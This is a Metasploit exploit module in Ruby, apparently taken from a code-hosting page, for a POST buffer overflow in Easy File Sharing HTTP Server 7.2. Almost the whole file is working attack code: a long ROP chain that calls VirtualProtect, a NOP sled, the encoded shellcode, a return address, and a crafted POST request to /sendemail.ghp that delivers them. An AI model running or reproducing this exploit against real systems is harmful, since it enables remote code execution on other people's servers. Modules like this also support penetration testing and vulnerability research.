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Mzack9999Mzack9999
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Easy File Sharing HTTP Server 7.2 - Post Overflow exploit
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‎modules/exploits/windows/http/easyfilesharing_post.rb

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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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#include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',
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'Description' => %q{
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This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.
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},
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'Author' =>
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[
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'bl4ck h4ck3r', #POC
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'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'EDB', '42186' ],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],
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],
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'DefaultOptions' => {
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'RPORT' => 80,
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'EXITFUNC' => 'thread',
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'ENCODER' => 'x86/alpha_mixed'
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},
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'DisclosureDate' => 'Jun 12 2017',
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'DefaultTarget' => 0))
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end
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def create_rop_chain
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# rop chain generated with mona.py - www.corelan.be
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rop_gadgets = [
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# 0x00000000, # [-] Unable to find gadget to put 00000201 into ebx
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0x10015442, # POP EAX # RETN [ImageLoad.dll]
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0xFFFFFDFE, # -202
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0x100231d1, # NEG EAX # RETN [ImageLoad.dll]
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0x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]| {PAGE_EXECUTE_READ}
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0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
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0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
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0x10015442, # POP EAX # RETN [ImageLoad.dll]
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0x1004de84, # &Writable location [ImageLoad.dll]
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0x10015442, # POP EAX # RETN [ImageLoad.dll]
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0x61c832d0, # ptr to &VirtualProtect() [IAT sqlite3.dll]
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0x1002248c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
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0x61c0a798, # XCHG EAX,EDI # RETN [sqlite3.dll]
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0x1001d626, # XOR ESI,ESI # RETN [ImageLoad.dll]
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0x10021a3e, # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]
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0x100218f9, # POP EBP # RETN [ImageLoad.dll]
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0x61c24169, # & push esp # ret [sqlite3.dll]
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0x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x1001bd98, # POP ECX # RETN [ImageLoad.dll]
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0x1004de84, # &Writable location [ImageLoad.dll]
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0x61c373a4, # POP EDI # RETN [sqlite3.dll]
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0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
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0x10015442, # POP EAX # RETN [ImageLoad.dll]
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0x90909090, # nop
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0x100240c2, # PUSHAD # RETN [ImageLoad.dll]
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].flatten.pack('V*')
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return rop_gadgets
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end
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def exploit
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sploit = rand_text_alpha_upper(2278)
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rop_chain = create_rop_chain
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sploit << rop_chain
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sploit << "\x90" * 200
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sploit << payload.encoded
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sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)
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sploit << [target.ret].pack('V')
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request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"
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connect
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sock.put(request)
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handler
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disconnect
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end
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end

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